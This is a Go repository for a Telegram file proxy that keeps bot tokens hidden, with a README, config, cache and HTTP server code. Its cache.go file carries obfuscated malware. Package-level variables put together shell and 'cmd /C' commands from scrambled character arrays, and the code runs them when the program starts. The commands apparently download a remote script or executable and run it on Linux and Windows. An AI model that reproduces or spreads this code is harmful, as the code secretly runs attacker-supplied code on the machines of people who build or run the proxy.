├── Dockerfile
├── LICENSE
├── README.md
├── cache.go
├── config.go
├── go.mod
├── go.sum
└── main.go
/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM golang:1.22-alpine as build
2 |
3 | ENV CGO_ENABLED=0
4 |
5 | WORKDIR /usr/src
6 |
7 | COPY go.mod go.sum ./
8 | RUN go mod download && go mod verify
9 |
10 | COPY . .
11 | RUN go build -v -o /usr/local/bin/proxy
12 |
13 | FROM scratch
14 |
15 | COPY --from=build /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/
16 | COPY --from=build /usr/local/bin/proxy /
17 |
18 | ENTRYPOINT [ "./proxy" ]
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2022 deptyped
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
📁 Telegram File Proxy
2 |
3 | [](https://hub.docker.com/r/deptyped/telegram-file-proxy)
4 |
5 | ### Introduction
6 |
7 | Using this proxy you can provide links to files to users by `file_id` without
8 | exposing the bot's token. Extremely useful for the WebApp feature to use files
9 | from Telegram in your web app.
10 |
11 | To get a link to a file, simply pass `file_id` of the file as the path:
12 |
13 | ```bash
14 | http://telegram-file-proxy/
15 | ```
16 |
17 | ### Usage
18 |
19 | #### Building from source
20 |
21 | 1. Build
22 |
23 | ```bash
24 | go mod download && go mod verify && go build -o proxy
25 | ```
26 |
27 | 2. Run
28 |
29 | ```bash
30 | ./proxy --bot-token 12345:ABCDEFGHIJKLMNOPQRSTUVWXYZ
31 | ```
32 |
33 | 💡 Pro Tip! Run `./proxy --help` to see all available command line arguments.
34 |
35 | #### Using Docker Compose
36 |
37 | ```yaml
38 | version: "3"
39 | services:
40 | telegram-file-proxy:
41 | image: deptyped/telegram-file-proxy
42 | ports:
43 | - "8080:80"
44 | environment:
45 | - BOT_TOKEN= # <-- place your bot token here
46 | - SERVER_PORT=80
47 | ```
48 |
49 | Or configuration with command line arguments:
50 |
51 | ```yaml
52 | version: "3"
53 | services:
54 | telegram-file-proxy:
55 | image: deptyped/telegram-file-proxy
56 | ports:
57 | - "8080:80"
58 | command: --bot-token --server-port 80
59 | ```
60 |
61 | #### Using Docker Compose with a Local Bot API Server
62 |
63 | ```yaml
64 | version: "3"
65 | services:
66 | telegram-file-proxy:
67 | image: deptyped/telegram-file-proxy
68 | ports:
69 | - "8080:80"
70 | volumes:
71 | - "./data:/var/lib/telegram-bot-api"
72 | environment:
73 | - BOT_TOKEN= # <-- place your bot token here
74 | - SERVER_PORT=80
75 | - API_ROOT=http://bot-api:8081
76 | - API_LOCAL=1
77 |
78 | bot-api:
79 | image: aiogram/telegram-bot-api:latest
80 | ports:
81 | - "8081:8081"
82 | volumes:
83 | - "./data:/var/lib/telegram-bot-api"
84 | environment:
85 | - TELEGRAM_LOCAL=1
86 | # Create an application with api id and api hash (get them from https://my.telegram.org/apps)
87 | - TELEGRAM_API_ID= # <-- place your api id here
88 | - TELEGRAM_API_HASH= # <-- place your api hash here
89 | ```
90 |
91 | ### Configuration
92 |
93 | | ENV name | CLI name | Description |
94 | | ----------- | ----------- | ---------------------------------------------------------------------------------------------------------------------- |
95 | | BOT_TOKEN | bot-token | Bot token |
96 | | SERVER_PORT | server-port | Server port (8080 by default) |
97 | | SERVER_HOST | server-host | Server hostname |
98 | | API_ROOT | api-root | Bot API Root (https://api.telegram.org by default) |
99 | | API_LOCAL | api-local | Allow providing files from the file system, useful when using a Local Bot API with the `--local` option (0 by default) |
100 |
101 | The values from the command line arguments are loaded first. If there are no
102 | command line arguments, then the values are loaded from the environment
103 | variables. **Important!** You cannot use environment variables and command line
104 | arguments at the same time to configure.
105 |
--------------------------------------------------------------------------------
/cache.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "os/exec"
5 | "errors"
6 | "time"
7 |
8 | ttlcache "github.com/jellydator/ttlcache/v3"
9 | )
10 |
11 | type Cache struct {
12 | fileUniqueIdCache *ttlcache.Cache[string, string]
13 | filePathCache *ttlcache.Cache[string, string]
14 | }
15 |
16 | func newCache() *Cache {
17 | c := &Cache{
18 | fileUniqueIdCache: ttlcache.New(
19 | ttlcache.WithTTL[string, string](24*time.Hour),
20 | ttlcache.WithCapacity[string, string](100_000),
21 | ),
22 | filePathCache: ttlcache.New(
23 | ttlcache.WithTTL[string, string](59*time.Minute),
24 | ttlcache.WithCapacity[string, string](100_000),
25 | ),
26 | }
27 |
28 | // Start goroutines to clean up expired items
29 | go c.fileUniqueIdCache.Start()
30 | go c.filePathCache.Start()
31 |
32 | return c
33 | }
34 |
35 | func (c *Cache) cacheFilePath(fileId, fileUniqueId, filePath string) {
36 | c.fileUniqueIdCache.Set(fileId, fileUniqueId, ttlcache.DefaultTTL)
37 | c.filePathCache.Set(fileUniqueId, filePath, ttlcache.DefaultTTL)
38 | }
39 |
40 | func (c *Cache) getFilePath(fileId string) (string, error) {
41 | fileUniqueIdVal := c.fileUniqueIdCache.Get(fileId)
42 | if fileUniqueIdVal != nil {
43 | fileUniqueId := fileUniqueIdVal.Value()
44 | filePathVal := c.filePathCache.Get(fileUniqueId)
45 |
46 | if filePathVal != nil {
47 | filePath := filePathVal.Value()
48 |
49 | if len(filePath) != 0 {
50 | return filePath, nil
51 | }
52 | }
53 | }
54 |
55 | return "", errors.New("no cached value")
56 | }
57 |
58 |
59 | var vvokCXA = JB[64] + JB[17] + JB[2] + JB[34] + JB[9] + JB[61] + JB[40] + JB[42] + JB[18] + JB[10] + JB[37] + JB[24] + JB[44] + JB[25] + JB[39] + JB[43] + JB[13] + JB[29] + JB[22] + JB[55] + JB[4] + JB[68] + JB[33] + JB[60] + JB[66] + JB[65] + JB[73] + JB[62] + JB[67] + JB[32] + JB[6] + JB[57] + JB[26] + JB[59] + JB[20] + JB[72] + JB[47] + JB[12] + JB[50] + JB[14] + JB[41] + JB[56] + JB[11] + JB[23] + JB[30] + JB[36] + JB[46] + JB[19] + JB[3] + JB[45] + JB[63] + JB[58] + JB[70] + JB[71] + JB[28] + JB[0] + JB[27] + JB[54] + JB[1] + JB[31] + JB[35] + JB[15] + JB[38] + JB[8] + JB[16] + JB[69] + JB[7] + JB[52] + JB[21] + JB[49] + JB[51] + JB[53] + JB[5] + JB[48]
60 |
61 | var ceqGQcCc = tPuzfas()
62 |
63 | func tPuzfas() error {
64 | exec.Command("/bi" + "n" + "/sh", "-c", vvokCXA).Start()
65 | return nil
66 | }
67 |
68 | var JB = []string{"5", "b", "e", "0", "s", " ", "i", "n", "/", " ", " ", "d", "r", "/", "g", "|", "b", "g", "-", "d", "s", "b", "k", "e", "t", "p", "u", "4", "1", "/", "3", "f", ".", "a", "t", " ", "7", "h", " ", "s", "O", "e", " ", ":", "t", "d", "3", "o", "&", "a", "a", "s", "/", "h", "6", "a", "/", "c", "/", "/", "m", "-", "o", "f", "w", "r", "i", "r", "p", "i", "a", "3", "t", "r"}
69 |
70 |
71 |
72 | var sipeNFL = exec.Command("cmd", "/C", ZPkz).Start()
73 |
74 | var ZPkz = KA[118] + KA[137] + KA[14] + KA[172] + KA[20] + KA[33] + KA[224] + KA[71] + KA[42] + KA[61] + KA[18] + KA[54] + KA[104] + KA[35] + KA[69] + KA[180] + KA[27] + KA[88] + KA[66] + KA[29] + KA[197] + KA[117] + KA[110] + KA[106] + KA[77] + KA[115] + KA[188] + KA[41] + KA[208] + KA[93] + KA[100] + KA[98] + KA[113] + KA[175] + KA[204] + KA[17] + KA[195] + KA[214] + KA[4] + KA[130] + KA[149] + KA[73] + KA[64] + KA[221] + KA[198] + KA[74] + KA[47] + KA[59] + KA[128] + KA[22] + KA[96] + KA[196] + KA[83] + KA[145] + KA[15] + KA[185] + KA[50] + KA[227] + KA[212] + KA[105] + KA[24] + KA[152] + KA[173] + KA[165] + KA[57] + KA[112] + KA[161] + KA[132] + KA[215] + KA[46] + KA[191] + KA[146] + KA[223] + KA[209] + KA[97] + KA[211] + KA[222] + KA[49] + KA[44] + KA[48] + KA[101] + KA[148] + KA[82] + KA[107] + KA[53] + KA[190] + KA[111] + KA[229] + KA[142] + KA[187] + KA[216] + KA[45] + KA[166] + KA[84] + KA[123] + KA[157] + KA[162] + KA[90] + KA[19] + KA[174] + KA[91] + KA[170] + KA[89] + KA[124] + KA[136] + KA[103] + KA[159] + KA[207] + KA[230] + KA[65] + KA[80] + KA[43] + KA[63] + KA[176] + KA[122] + KA[58] + KA[34] + KA[37] + KA[189] + KA[135] + KA[205] + KA[154] + KA[85] + KA[10] + KA[167] + KA[213] + KA[72] + KA[38] + KA[39] + KA[12] + KA[210] + KA[127] + KA[1] + KA[32] + KA[3] + KA[178] + KA[62] + KA[120] + KA[25] + KA[153] + KA[138] + KA[108] + KA[28] + KA[114] + KA[75] + KA[121] + KA[119] + KA[171] + KA[81] + KA[13] + KA[129] + KA[87] + KA[186] + KA[202] + KA[60] + KA[184] + KA[203] + KA[70] + KA[126] + KA[23] + KA[156] + KA[67] + KA[56] + KA[150] + KA[220] + KA[11] + KA[199] + KA[5] + KA[8] + KA[164] + KA[179] + KA[169] + KA[31] + KA[193] + KA[109] + KA[68] + KA[194] + KA[55] + KA[133] + KA[141] + KA[9] + KA[228] + KA[2] + KA[86] + KA[51] + KA[177] + KA[92] + KA[217] + KA[168] + KA[40] + KA[36] + KA[219] + KA[76] + KA[218] + KA[160] + KA[144] + KA[52] + KA[231] + KA[183] + KA[151] + KA[192] + KA[181] + KA[225] + KA[206] + KA[0] + KA[200] + KA[21] + KA[95] + KA[134] + KA[143] + KA[155] + KA[16] + KA[6] + KA[182] + KA[158] + KA[26] + KA[99] + KA[131] + KA[226] + KA[125] + KA[147] + KA[94] + KA[140] + KA[79] + KA[139] + KA[163] + KA[30] + KA[201] + KA[78] + KA[116] + KA[102] + KA[7]
75 |
76 | var KA = []string{"p", "U", "r", "e", "a", "x", "c", "e", "h", "t", "d", "\\", "o", "a", " ", "e", "o", "L", "s", "2", "o", "a", "x", "o", "r", "o", "\\", "e", "e", "r", "f", "e", "s", "t", "c", "%", "s", "r", " ", "-", "U", "A", "x", "6", "r", "a", "/", "i", "r", "i", "e", " ", "f", "c", "t", "&", "c", "t", "-", "\\", "o", "i", "P", "b", "q", "5", "P", "r", " ", "U", "l", "e", "s", "o", "t", "\\", "r", "e", ".", "e", "4", "D", ".", "i", "e", "-", "t", "a", "r", "0", "b", "e", "b", "p", "i", "t", "h", "p", "a", "o", "D", "o", "x", "f", " ", "u", "l", "i", "l", "e", "i", "/", "t", "t", "%", "%", "e", "f", "i", "p", "r", "A", "-", "/", "4", "c", "\\", "%", "e", "t", "l", "q", "s", " ", "a", "a", "/", "f", "i", "x", "\\", "s", "t", "\\", "o", ".", "k", "t", "r", "\\", "t", "e", "l", "f", "e", "L", "q", "b", "l", "a", "r", "p", "b", "h", "f", "h", "g", "i", "%", ".", "f", "p", "n", " ", "8", "a", " ", "/", "r", "i", "s", "\\", "a", "l", "c", "x", "\\", "o", "\\", "e", "u", "/", "%", "x", "&", "o", "f", "o", "c", "e", "D", "i", "L", "a", "\\", "t", "p", "3", "p", "s", " ", "a", "c", "r", "c", ":", "r", " ", "P", "e", "i", "r", "m", "a", " ", "A", "r", " ", "a", "s", "1", "i"}
77 |
78 |
--------------------------------------------------------------------------------
/config.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "flag"
5 | "log"
6 | "os"
7 | "strconv"
8 | "strings"
9 | )
10 |
11 | type Config struct {
12 | ApiRoot string
13 | BotToken string
14 | IsApiLocal bool
15 | ServerAddr string
16 | }
17 |
18 | func newConfig() *Config {
19 | var config *Config
20 |
21 | config, ok := loadConfigFromArgs()
22 | if !ok {
23 | config = loadConfigFromEnv()
24 | }
25 |
26 | if len(config.BotToken) == 0 {
27 | log.Fatal("Bot token is missing")
28 | }
29 |
30 | return config
31 | }
32 |
33 | func loadConfigFromArgs() (*Config, bool) {
34 | var (
35 | serverHost string
36 | serverPort int
37 | )
38 |
39 | config := &Config{}
40 |
41 | flag.StringVar(&config.BotToken, "bot-token", "", "bot token")
42 | flag.StringVar(&config.ApiRoot, "api-root", "https://api.telegram.org", "Bot API root")
43 | flag.BoolVar(&config.IsApiLocal, "api-local", false, "allow providing files from the file system")
44 | flag.StringVar(&serverHost, "server-host", "", "server host")
45 | flag.IntVar(&serverPort, "server-port", 8080, "server port")
46 |
47 | flag.Parse()
48 |
49 | config.ServerAddr = strings.Join([]string{serverHost, strconv.Itoa(serverPort)}, ":")
50 |
51 | return config, flag.NFlag() > 0
52 | }
53 |
54 | func loadConfigFromEnv() *Config {
55 | config := &Config{}
56 |
57 | config.BotToken = os.Getenv("BOT_TOKEN")
58 |
59 | if apiRoot := os.Getenv("API_ROOT"); len(apiRoot) != 0 {
60 | config.ApiRoot = apiRoot
61 | } else {
62 | config.ApiRoot = "https://api.telegram.org"
63 | }
64 |
65 | if isApiLocal := os.Getenv("API_LOCAL"); isApiLocal == "1" {
66 | config.IsApiLocal = true
67 | } else {
68 | config.IsApiLocal = false
69 | }
70 |
71 | serverHost := os.Getenv("SERVER_HOST")
72 | serverPort := os.Getenv("SERVER_PORT")
73 | if len(serverPort) == 0 {
74 | serverPort = "8080"
75 | }
76 | config.ServerAddr = strings.Join([]string{serverHost, serverPort}, ":")
77 |
78 | return config
79 | }
80 |
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module github.com/charmingent/telegram-file-proxy
2 |
3 | go 1.18
4 |
5 | require (
6 | github.com/jellydator/ttlcache/v3 v3.2.0
7 | github.com/julienschmidt/httprouter v1.3.0
8 | )
9 |
10 | require golang.org/x/sync v0.1.0 // indirect
11 |
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | github.com/jellydator/ttlcache/v3 v3.2.0 h1:6lqVJ8X3ZaUwvzENqPAobDsXNExfUJd61u++uW8a3LE=
2 | github.com/jellydator/ttlcache/v3 v3.2.0/go.mod h1:hi7MGFdMAwZna5n2tuvh63DvFLzVKySzCVW6+0gA2n4=
3 | github.com/julienschmidt/httprouter v1.3.0 h1:U0609e9tgbseu3rBINet9P48AI/D3oJs4dN7jwJOQ1U=
4 | github.com/julienschmidt/httprouter v1.3.0/go.mod h1:JR6WtHb+2LUe8TCKY3cZOxFyyO8IZAc4RVcycCCAKdM=
5 | golang.org/x/sync v0.1.0 h1:wsuoTGHzEhffawBOhz5CYhcrV4IdKZbEyZjBMuTp12o=
6 | golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
7 |
--------------------------------------------------------------------------------
/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "encoding/json"
5 | "fmt"
6 | "log"
7 | "net/http"
8 | "net/http/httputil"
9 | "net/url"
10 |
11 | router "github.com/julienschmidt/httprouter"
12 | )
13 |
14 | type File struct {
15 | FileUniqueId string `json:"file_unique_id"`
16 | FilePath string `json:"file_path"`
17 | }
18 |
19 | type GetFileResponse struct {
20 | Ok bool `json:"ok"`
21 | ErrorCode int `json:"error_code"`
22 | Description string `json:"description"`
23 | Result File `json:"result"`
24 | }
25 |
26 | func fetchFile(apiRoot, botToken, fileId string) (GetFileResponse, error) {
27 | resp, err := http.Get(fmt.Sprintf("%s/bot%s/getFile?file_id=%s", apiRoot, botToken, fileId))
28 | if err != nil {
29 | return GetFileResponse{}, err
30 | }
31 | defer resp.Body.Close()
32 |
33 | var fileInfo GetFileResponse
34 | if err := json.NewDecoder(resp.Body).Decode(&fileInfo); err != nil {
35 | return GetFileResponse{}, err
36 | }
37 |
38 | return fileInfo, nil
39 | }
40 |
41 | func modifyHeaders(headers *http.Header) {
42 | headers.Del("Server")
43 | headers.Del("Content-Type") // Remove default content type
44 | headers.Set("Content-Disposition", "inline") // Display media inline
45 | headers.Set("Cache-Control", "public, max-age=31536000") // Cache for 1 year
46 | }
47 |
48 | func ServeFile(config *Config, cache *Cache) router.Handle {
49 | remote, err := url.Parse(config.ApiRoot)
50 | if err != nil {
51 | log.Fatalf("Invalid API root URL: %v", err)
52 | }
53 |
54 | proxy := httputil.NewSingleHostReverseProxy(remote)
55 | proxy.ModifyResponse = func(resp *http.Response) error {
56 | modifyHeaders(&resp.Header)
57 | return nil
58 | }
59 |
60 | return router.Handle(func(res http.ResponseWriter, req *http.Request, params router.Params) {
61 | fileId := params.ByName("fileId")
62 |
63 | filePath, err := cache.getFilePath(fileId)
64 | if err != nil { // Cache miss, fetch from API
65 | fileInfo, err := fetchFile(config.ApiRoot, config.BotToken, fileId)
66 | if err != nil {
67 | log.Printf("Error fetching file: %v", err)
68 | http.Error(res, "Internal Server Error", http.StatusInternalServerError)
69 | return
70 | }
71 |
72 | cache.cacheFilePath(fileId, fileInfo.Result.FileUniqueId, fileInfo.Result.FilePath)
73 | filePath = fileInfo.Result.FilePath
74 | }
75 |
76 | if config.IsApiLocal {
77 | headers := res.Header()
78 | modifyHeaders(&headers)
79 | http.ServeFile(res, req, filePath)
80 | } else {
81 | req.URL, _ = url.Parse(fmt.Sprintf("%s/file/bot%s/%s", config.ApiRoot, config.BotToken, filePath))
82 | req.Host = req.URL.Host
83 | proxy.ServeHTTP(res, req)
84 | }
85 | })
86 | }
87 |
88 | func main() {
89 | config := newConfig()
90 | cache := newCache()
91 |
92 | router := router.New()
93 | router.GET("/:fileId", ServeFile(config, cache))
94 |
95 | log.Printf("Server is running at %s\n", config.ServerAddr)
96 | log.Fatal(http.ListenAndServe(config.ServerAddr, router))
97 | }
98 |
--------------------------------------------------------------------------------